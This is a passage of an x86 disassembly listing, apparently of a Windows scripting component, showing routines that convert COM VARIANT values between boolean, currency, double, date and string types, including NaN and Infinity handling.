		push	dword_69B99D00[edx*4]
		mov	ecx, eax
		call	dword ptr [edi+54h]
		mov	eax, [esi]
		push	[ebp+arg_C]
		imul	eax, 7
		add	eax, [ebp+var_10]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	esi
		push	[ebp+arg_0]
		call	off_69B99D20[eax*4]
		mov	esi, eax
		pop	edi


loc_69B64942:				; CODE XREF: sub_69B648DC+2Bj
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		leave
		retn	10h
sub_69B648DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B64951	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B642AB+97p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	esi, [esp+4+arg_C]
		push	esi
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_69B648DC
		neg	dword ptr [esi]
		pop	esi
		retn	10h
sub_69B64951	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6496E	proc near		; CODE XREF: sub_69B642AB+97p
					; sub_69B644A4+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_8]
		push	dword ptr [ecx+8]
		mov	eax, [esp+4+arg_4]
		mov	eax, [eax+8]
		push	eax
		push	[esp+8+arg_0]
		call	sub_69B64274
		mov	ecx, [esp+arg_C]
		mov	[ecx], eax
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFEh
		setnle	cl
		mov	eax, ecx
		retn	10h
sub_69B6496E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B64999	proc near		; CODE XREF: sub_69B64C44+Ep
					; sub_69B654B0+8p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	esi, edi
		jz	short loc_69B64A0F
		call	sub_69B466CC
		mov	eax, [edi]
		dec	eax
		jz	short loc_69B64A03
		dec	eax
		jz	short loc_69B649EF
		dec	eax
		jz	short loc_69B649E1
		dec	eax
		jz	short loc_69B649D6
		dec	eax
		jz	short loc_69B649CA
		dec	eax
		jnz	short loc_69B64A0F
		push	dword ptr [edi+8]
		mov	ecx, esi
		call	sub_69B64115
		jmp	short loc_69B64A0F
; ---------------------------------------------------------------------------


loc_69B649CA:				; CODE XREF: sub_69B64999+20j
		push	dword ptr [edi+8]
		mov	ecx, esi
		call	sub_69B48684
		jmp	short loc_69B64A0F
; ---------------------------------------------------------------------------


loc_69B649D6:				; CODE XREF: sub_69B64999+1Dj
		fld	qword ptr [edi+8]
		mov	dword ptr [esi], 4
		jmp	short loc_69B649EA
; ---------------------------------------------------------------------------


loc_69B649E1:				; CODE XREF: sub_69B64999+1Aj
		fld	qword ptr [edi+8]
		mov	dword ptr [esi], 3


loc_69B649EA:				; CODE XREF: sub_69B64999+46j
		fstp	qword ptr [esi+8]
		jmp	short loc_69B64A0F
; ---------------------------------------------------------------------------


loc_69B649EF:				; CODE XREF: sub_69B64999+17j
		mov	eax, [edi+8]
		mov	edi, [edi+0Ch]
		mov	dword ptr [esi], 2
		mov	[esi+8], eax
		mov	[esi+0Ch], edi
		jmp	short loc_69B64A0F
; ---------------------------------------------------------------------------


loc_69B64A03:				; CODE XREF: sub_69B64999+14j
		mov	al, [edi+8]
		mov	dword ptr [esi], 1
		mov	[esi+8], al


loc_69B64A0F:				; CODE XREF: sub_69B64999+Aj
					; sub_69B64999+23j ...
		pop	edi
		pop	esi
		retn	4
sub_69B64999	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B64A14	proc near		; CODE XREF: sub_69B46F1C+59p
					; sub_69B71074+1A6p
		push	4Ch
		push	offset dword_69B64C38
		call	sub_69B19C5C
		mov	esi, ecx
		and	dword ptr [ebp-1Ch], 0
		mov	ebx, [ebp+8]
		xor	edi, edi
		mov	di, [ebx]
		and	edi, 0BFFFh
		and	dword ptr [ebp-20h], 0
		lea	eax, [ebp-30h]
		push	eax		; pvarg
		call	VariantInit
		cmp	di, 0Ch
		jnz	short loc_69B64A4E
		mov	eax, [ebx+8]
		mov	di, [eax]


loc_69B64A4E:				; CODE XREF: sub_69B64A14+32j
		cmp	di, 17h
		ja	short loc_69B64A64
		movzx	eax, word ptr [ebx]
		movzx	eax, word_69B9A0B0[eax*2]
		mov	[ebp-34h], eax
		jmp	short loc_69B64A6B
; ---------------------------------------------------------------------------


loc_69B64A64:				; CODE XREF: sub_69B64A14+3Ej
		and	dword ptr [ebp-34h], 0
		mov	eax, [ebp-34h]


loc_69B64A6B:				; CODE XREF: sub_69B64A14+4Ej
		test	ax, ax
		jnz	short loc_69B64A7C
		mov	dword ptr [ebp-1Ch], 80020005h
		jmp	loc_69B64BEB
; ---------------------------------------------------------------------------


loc_69B64A7C:				; CODE XREF: sub_69B64A14+5Aj
		cmp	[ebx], ax
		jz	short loc_69B64AA4
		push	eax		; vt
		push	1		; wFlags
		push	409h		; lcid
		push	ebx		; pvarSrc
		lea	eax, [ebp-30h]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		mov	[ebp-1Ch], eax
		test	eax, eax
		jl	loc_69B64BEB
		lea	edi, [ebp-30h]
		jmp	short loc_69B64AA6
; ---------------------------------------------------------------------------


loc_69B64AA4:				; CODE XREF: sub_69B64A14+6Bj
		mov	edi, ebx


loc_69B64AA6:				; CODE XREF: sub_69B64A14+8Ej
		wait
		xor	ebx, ebx
		mov	[ebp-4], ebx
		movzx	eax, word ptr [ebp-34h]
		sub	eax, 5
		jz	loc_69B64BBA
		dec	eax
		jz	loc_69B64BA0
		dec	eax
		jz	loc_69B64B92
		dec	eax
		jz	loc_69B64B76
		dec	eax
		jz	short loc_69B64ADD
		dec	eax
		dec	eax
		jz	short loc_69B64B27
		dec	eax
		dec	eax
		jnz	loc_69B64BC9


loc_69B64ADD:				; CODE XREF: sub_69B64A14+BBj
		mov	edi, [edi+8]
		mov	[ebp-3Ch], edi
		cmp	edi, ebx
		jz	loc_69B64B6D
		mov	eax, [edi]
		lea	ecx, [ebp-20h]
		push	ecx
		push	offset dword_69B64C28
		push	edi
		call	dword ptr [eax]
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jl	short loc_69B64B40
		mov	ecx, [ebp-20h]
		mov	eax, [ecx]
		call	dword ptr [eax+0Ch]
		mov	[ebp-40h], eax
		cmp	eax, ebx
		jz	short loc_69B64B40
		mov	edx, [eax]
		push	ebx
		mov	ecx, eax
		call	dword ptr [edx+7Ch]
		mov	[ebp-40h], eax
		push	eax
		mov	ecx, esi
		call	sub_69B64115
		jmp	loc_69B64BC9
; ---------------------------------------------------------------------------


loc_69B64B27:				; CODE XREF: sub_69B64A14+BFj
		cmp	word ptr [edi+8], 0FFFFh
		setz	al
		mov	[ebp-38h], al
		mov	dword ptr [esi], 1
		mov	[esi+8], al
		jmp	loc_69B64BC9
; ---------------------------------------------------------------------------


loc_69B64B40:				; CODE XREF: sub_69B64A14+EAj
					; sub_69B64A14+F9j
		push	edi
		call	sub_69B48A77
		mov	[ebp-44h], eax
		cmp	eax, ebx
		jz	short loc_69B64B6D
		push	1
		push	eax
		call	sub_69B67D20
		mov	ecx, eax
		add	eax, 10h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		mov	ecx, esi
		call	sub_69B64115
		mov	[ebp-1Ch], ebx
		jmp	short loc_69B64BC9
; ---------------------------------------------------------------------------


loc_69B64B6D:				; CODE XREF: sub_69B64A14+D1j
					; sub_69B64A14+137j
		mov	dword ptr [ebp-1Ch], 80020005h
		jmp	short loc_69B64BC9
; ---------------------------------------------------------------------------


loc_69B64B76:				; CODE XREF: sub_69B64A14+B4j
		push	dword ptr [edi+8] ; BSTR
		call	SysStringLen
		push	eax
		push	dword ptr [edi+8]
		call	sub_69B190C1
		push	eax
		mov	ecx, esi
		call	sub_69B48684
		jmp	short loc_69B64BC9
; ---------------------------------------------------------------------------


loc_69B64B92:				; CODE XREF: sub_69B64A14+ADj
		fld	qword ptr [edi+8]
		fst	qword ptr [ebp-4Ch]
		mov	dword ptr [esi], 4
		jmp	short loc_69B64BC6
; ---------------------------------------------------------------------------


loc_69B64BA0:				; CODE XREF: sub_69B64A14+A6j
		mov	eax, [edi+8]
		mov	[ebp-54h], eax
		mov	edi, [edi+0Ch]
		mov	[ebp-50h], edi
		mov	dword ptr [esi], 2
		mov	[esi+8], eax
		mov	[esi+0Ch], edi
		jmp	short loc_69B64BC9
; ---------------------------------------------------------------------------


loc_69B64BBA:				; CODE XREF: sub_69B64A14+9Fj
		fld	qword ptr [edi+8]
		fst	qword ptr [ebp-5Ch]
		mov	dword ptr [esi], 3


loc_69B64BC6:				; CODE XREF: sub_69B64A14+18Aj
		fstp	qword ptr [esi+8]


loc_69B64BC9:				; CODE XREF: sub_69B64A14+C3j
					; sub_69B64A14+10Ej ...
		wait
		jmp	short loc_69B64BE7
; ---------------------------------------------------------------------------


loc_69B64BCC:				; DATA XREF: .text:69B64C3Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B64BD5:				; DATA XREF: .text:69B64C40o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-1Ch], eax


loc_69B64BE7:				; CODE XREF: sub_69B64A14+1B6j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B64BEB:				; CODE XREF: sub_69B64A14+63j
					; sub_69B64A14+85j
		lea	eax, [ebp-30h]
		push	eax		; pvarg
		call	VariantClear
		mov	eax, [ebp-20h]
		test	eax, eax
		jz	short loc_69B64C02
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B64C02:				; CODE XREF: sub_69B64A14+1E6j
		cmp	dword ptr [ebp-1Ch], 0
		jge	short loc_69B64C1D
		cmp	dword ptr [ebp-1Ch], 80020005h
		jnz	short loc_69B64C15
		xor	al, al
		jmp	short loc_69B64C1F
; ---------------------------------------------------------------------------


loc_69B64C15:				; CODE XREF: sub_69B64A14+1FBj
		push	dword ptr [ebp-1Ch]
		call	sub_69B2E8B8


loc_69B64C1D:				; CODE XREF: sub_69B64A14+1F2j
		mov	al, 1


loc_69B64C1F:				; CODE XREF: sub_69B64A14+1FFj
		call	sub_69B1853C
		retn	4
sub_69B64A14	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B64C28	dd 0C94AFC70h, 11D37C36h, 0C0006295h, 58215C4Fh
					; DATA XREF: sub_69B64A14+DDo
dword_69B64C38	dd 0FFFFFFFFh			dd offset loc_69B64BCC
		dd offset loc_69B64BD5

; =============== S U B	R O U T	I N E =======================================



sub_69B64C44	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		cmp	[esp+arg_0], ecx
		jz	short locret_69B64C57
		push	[esp+arg_0]
		call	sub_69B64999

locret_69B64C57:			; CODE XREF: sub_69B64C44+8j
		retn	8
sub_69B64C44	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B64C5A	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		call	sub_69B466CC
		mov	ecx, [esp+arg_4]
		push	offset off_69B1A5AC
		call	sub_69B48684
		retn	8
sub_69B64C5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B64C74	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	al, [eax+8]
		neg	al
		push	ebx
		push	esi
		mov	esi, [esp+8+arg_4]
		push	edi
		mov	ecx, esi
		sbb	eax, eax
		cdq
		mov	edi, eax
		mov	ebx, edx
		call	sub_69B466CC
		mov	[esi+8], edi
		pop	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi], 2
		pop	esi
		pop	ebx
		retn	8
sub_69B64C74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B64CA4	proc near		; CODE XREF: sub_69B64008+15p
					; DATA XREF: .data:69B99F08o

var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	al, [eax+8]
		neg	al
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, esi
		sbb	eax, eax
		mov	[ebp+arg_0], eax
		fild	[ebp+arg_0]
		fstp	[ebp+var_8]
		call	sub_69B466CC
		fld	[ebp+var_8]
		mov	dword ptr [esi], 3
		fstp	qword ptr [esi+8]
		pop	esi
		leave
		retn	8
sub_69B64CA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B64CD8	proc near		; CODE XREF: sub_69B64008+23p
					; sub_69B642AB+47p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		cmp	[ecx+8], al
		push	esi
		mov	esi, [ebp+arg_4]
		setnz	al
		mov	ecx, esi
		mov	[ebp+arg_0], eax
		fild	[ebp+arg_0]
		fstp	[ebp+var_8]
		call	sub_69B466CC
		fld	[ebp+var_8]
		mov	dword ptr [esi], 3
		fstp	qword ptr [esi+8]
		pop	esi
		leave
		retn	8
sub_69B64CD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B64D0D	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

pdateOut	= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp+pdateOut]
		push	eax		; pdateOut
		mov	eax, [ebp+arg_0]
		mov	al, [eax+8]
		neg	al
		sbb	eax, eax
		push	eax		; boolIn
		call	VarDateFromBool
		mov	esi, [ebp+arg_4]
		mov	ecx, esi
		call	sub_69B466CC
		fld	[ebp+pdateOut]
		fstp	qword ptr [esi+8]
		mov	dword ptr [esi], 4
		pop	esi
		leave
		retn	8
sub_69B64D0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B64D43	proc near		; CODE XREF: sub_69B64008+15p
					; DATA XREF: .data:69B99F40o

var_10		= word ptr -10h
var_8		= word ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	al, [eax+8]
		neg	al
		push	0Eh
		mov	[ebp+var_10], 0Bh
		sbb	eax, eax
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_69B30E5D
		push	eax
		call	sub_69B8861E
		mov	ecx, [ebp+arg_4]
		call	sub_69B466CC
		push	[ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		call	sub_69B48684
		leave
		retn	8
sub_69B64D43	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B64D89	proc near		; CODE XREF: sub_69B64008+23p
					; sub_69B642AB+47p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	byte ptr [eax+8], 0
		push	esi
		mov	esi, offset off_69B296C4
		jnz	short loc_69B64D9E
		mov	esi, offset off_69B296E0


loc_69B64D9E:				; CODE XREF: sub_69B64D89+Ej
		mov	ecx, [esp+4+arg_4]
		call	sub_69B466CC
		mov	ecx, [esp+4+arg_4]
		push	esi
		call	sub_69B48684
		pop	esi
		retn	8
sub_69B64D89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B64DB5	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

pboolOut	= word ptr  0Ah
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		lea	eax, [ebp+pboolOut]
		push	eax		; pboolOut
		mov	eax, [ebp+8]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; cyIn
		call	VarBoolFromCy
		mov	esi, [ebp+arg_4]
		mov	ecx, esi
		call	sub_69B466CC
		cmp	[ebp+pboolOut],	0
		mov	dword ptr [esi], 1
		setnz	al
		mov	[esi+8], al
		pop	esi
		pop	ebp
		retn	8
sub_69B64DB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B64DEC	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

pdblOut		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp+pdblOut]
		push	eax		; pdblOut
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; cyIn
		call	VarR8FromCy
		mov	esi, [ebp+arg_4]
		mov	ecx, esi
		call	sub_69B466CC
		fld	[ebp+pdblOut]
		fstp	qword ptr [esi+8]
		mov	dword ptr [esi], 3
		pop	esi
		leave
		retn	8
sub_69B64DEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B64E20	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

pdateOut	= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		lea	eax, [ebp+pdateOut]
		push	eax		; pdateOut
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; cyIn
		call	VarDateFromCy
		mov	esi, [ebp+arg_4]
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B466CC
		cmp	edi, 8002000Ah
		jz	short loc_69B64E60
		push	edi
		call	sub_69B8861E
		fld	[ebp+pdateOut]
		fstp	qword ptr [esi+8]
		mov	dword ptr [esi], 4


loc_69B64E60:				; CODE XREF: sub_69B64E20+2Cj
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B64E20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B64E66(BSTR pbstrOut, int)

sub_69B64E66	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

pbstrOut	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+pbstrOut]
		push	eax		; pbstrOut
		mov	eax, [ebp+pbstrOut]
		push	0		; dwFlags
		push	409h		; lcid
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; cyIn
		call	VarBstrFromCy
		push	eax
		call	sub_69B8861E
		mov	ecx, [ebp+arg_4]
		call	sub_69B466CC
		push	[ebp+pbstrOut]
		call	sub_69B64036
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_69B48684
		pop	ebp
		retn	8
sub_69B64E66	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B64EA6	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

var_10		= qword	ptr -10h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		fld	qword ptr [esi+8]
		push	ecx
		push	ecx		; double
		fstp	[esp+10h+var_10]
		call	sub_69B84BCE
		cmp	eax, 1
		pop	ecx
		pop	ecx
		jz	short loc_69B64ED5
		cmp	eax, 2
		jz	short loc_69B64ED5
		fldz
		fcomp	qword ptr [esi+8]
		fnstsw	ax
		test	ah, 44h
		jnp	short loc_69B64ED5
		mov	bl, 1
		jmp	short loc_69B64ED7
; ---------------------------------------------------------------------------


loc_69B64ED5:				; CODE XREF: sub_69B64EA6+18j
					; sub_69B64EA6+1Dj ...
		xor	bl, bl


loc_69B64ED7:				; CODE XREF: sub_69B64EA6+2Dj
		mov	esi, [esp+8+arg_4]
		mov	ecx, esi
		call	sub_69B466CC
		mov	[esi+8], bl
		mov	dword ptr [esi], 1
		pop	esi
		pop	ebx
		retn	8
sub_69B64EA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B64EF0	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

var_1C		= qword	ptr -1Ch
pcyOut		= CY ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		lea	eax, [ebp+pcyOut]
		push	eax		; pcyOut
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax+8]
		push	ecx
		push	ecx		; dblIn
		fstp	[esp+1Ch+var_1C]
		call	VarCyFromR8
		mov	esi, [ebp+arg_4]
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B466CC
		cmp	edi, 8002000Ah
		jz	short loc_69B64F38
		push	edi
		call	sub_69B8861E
		mov	eax, dword ptr [ebp+pcyOut]
		mov	[esi+8], eax
		mov	eax, dword ptr [ebp+pcyOut+4]
		mov	dword ptr [esi], 2
		mov	[esi+0Ch], eax


loc_69B64F38:				; CODE XREF: sub_69B64EF0+2Ej
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B64EF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B64F3E	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

var_1C		= qword	ptr -1Ch
pdateOut	= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		lea	eax, [ebp+pdateOut]
		push	eax		; pdateOut
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax+8]
		push	ecx
		push	ecx		; dblIn
		fstp	[esp+1Ch+var_1C]
		call	VarDateFromR8
		mov	esi, [ebp+arg_4]
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B466CC
		cmp	edi, 8002000Ah
		jz	short loc_69B64F80
		push	edi
		call	sub_69B8861E
		fld	[ebp+pdateOut]
		fstp	qword ptr [esi+8]
		mov	dword ptr [esi], 4


loc_69B64F80:				; CODE XREF: sub_69B64F3E+2Ej
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B64F3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B64F86(BSTR pbstrOut, int)

sub_69B64F86	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

var_20		= qword	ptr -20h
var_14		= qword	ptr -14h
var_8		= qword	ptr -8
pbstrOut	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+pbstrOut]
		fld	qword ptr [eax+8]
		push	esi
		mov	esi, [ebp+arg_4]
		fstp	[ebp+var_8]
		mov	ecx, esi
		call	sub_69B466CC
		fld	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fstp	[esp+14h+var_14]
		call	sub_69B84BCE
		cmp	eax, 1
		pop	ecx
		pop	ecx
		jz	short loc_69B64FFC
		cmp	eax, 2
		jz	short loc_69B64FFC
		cmp	eax, 4
		jnz	short loc_69B64FC4
		push	offset off_69B65030
		jmp	short loc_69B65001
; ---------------------------------------------------------------------------


loc_69B64FC4:				; CODE XREF: sub_69B64F86+35j
		cmp	eax, 200h
		jnz	short loc_69B64FD2
		push	offset off_69B65020
		jmp	short loc_69B65001
; ---------------------------------------------------------------------------


loc_69B64FD2:				; CODE XREF: sub_69B64F86+43j
		fld	[ebp+var_8]
		lea	eax, [ebp+pbstrOut]
		push	eax		; pbstrOut
		push	0		; dwFlags
		push	409h		; lcid
		push	ecx
		push	ecx		; dblIn
		fstp	[esp+20h+var_20]
		call	VarBstrFromR8
		push	eax
		call	sub_69B8861E
		push	[ebp+pbstrOut]
		call	sub_69B64036
		push	eax
		jmp	short loc_69B65001
; ---------------------------------------------------------------------------


loc_69B64FFC:				; CODE XREF: sub_69B64F86+2Bj
					; sub_69B64F86+30j
		push	offset off_69B65010


loc_69B65001:				; CODE XREF: sub_69B64F86+3Cj
					; sub_69B64F86+4Aj ...
		mov	ecx, esi
		call	sub_69B48684
		pop	esi
		leave
		retn	8
sub_69B64F86	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B65010	dd offset off_69B17D10	; DATA XREF: sub_69B64F86:loc_69B64FFCo
		align 8
		dd 3
		dd offset aNan		; "NaN"
off_69B65020	dd offset off_69B17D10	; DATA XREF: sub_69B64F86+45o
		align 8
		dd 8
		dd offset aInfinity	; "Infinity"
off_69B65030	dd offset off_69B17D10	; DATA XREF: sub_69B64F86+37o
		align 8
		dd 9
		dd offset aInfinity_0	; "-Infinity"
aNan:					; DATA XREF: .text:69B6501Co
		unicode	0, <NaN>,0
aInfinity:				; DATA XREF: .text:69B6502Co
		unicode	0, <Infinity>,0
		align 4
aInfinity_0:				; DATA XREF: .text:69B6503Co
		unicode	0, <-Infinity>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B65070	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

var_10		= qword	ptr -10h
pboolOut	= word ptr  0Ah
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		lea	eax, [ebp+pboolOut]
		push	eax		; pboolOut
		mov	eax, [ebp+8]
		fld	qword ptr [eax+8]
		push	ecx
		push	ecx		; dateIn
		fstp	[esp+10h+var_10]
		call	VarBoolFromDate
		mov	esi, [ebp+arg_4]
		mov	ecx, esi
		call	sub_69B466CC
		cmp	[ebp+pboolOut],	0
		mov	dword ptr [esi], 1
		setnz	al
		mov	[esi+8], al
		pop	esi
		pop	ebp
		retn	8
sub_69B65070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B650A9	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

var_18		= qword	ptr -18h
pcyOut		= CY ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp+pcyOut]
		push	eax		; pcyOut
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax+8]
		push	ecx
		push	ecx		; dateIn
		fstp	[esp+18h+var_18]
		call	VarCyFromDate
		mov	esi, [ebp+arg_4]
		mov	ecx, esi
		call	sub_69B466CC
		mov	eax, dword ptr [ebp+pcyOut]
		mov	[esi+8], eax
		mov	eax, dword ptr [ebp+pcyOut+4]
		mov	dword ptr [esi], 2
		mov	[esi+0Ch], eax
		pop	esi
		leave
		retn	8
sub_69B650A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B650E5	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

var_18		= qword	ptr -18h
pdblOut		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp+pdblOut]
		push	eax		; pdblOut
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax+8]
		push	ecx
		push	ecx		; dateIn
		fstp	[esp+18h+var_18]
		call	VarR8FromDate
		mov	esi, [ebp+arg_4]
		mov	ecx, esi
		call	sub_69B466CC
		fld	[ebp+pdblOut]
		fstp	qword ptr [esi+8]
		mov	dword ptr [esi], 3
		pop	esi
		leave
		retn	8
sub_69B650E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6511B	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	[ebp+var_4], 0
		add	eax, 8
		push	eax
		push	12h
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B304F3
		push	eax
		call	sub_69B8861E
		mov	ecx, [ebp+arg_4]
		call	sub_69B466CC
		push	[ebp+var_4]
		mov	ecx, [ebp+arg_4]
		call	sub_69B48684
		leave
		retn	8
sub_69B6511B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B65152	proc near		; CODE XREF: sub_69B64008+15p
					; DATA XREF: .data:69B99EE0o

pvar		= VARIANTARG ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		and	word ptr [ebp+pvar.anonymous_0], 0
		mov	ecx, [eax+8]
		mov	eax, [eax+0Ch]
		push	ebx
		push	edi
		push	0		; int
		push	0		; int
		lea	edx, [ebp+pvar]
		push	edx		; pvar
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	0Eh		; int
		push	ecx		; cElements
		push	eax		; int
		call	sub_69B30C4F
		mov	edi, [ebp+arg_4]
		mov	ecx, edi
		mov	ebx, eax
		call	sub_69B466CC
		test	ebx, ebx
		jl	short loc_69B651A1
		cmp	word ptr [ebp+pvar.anonymous_0+8], 0
		mov	dword ptr [edi], 1
		setnz	al
		mov	[edi+8], al


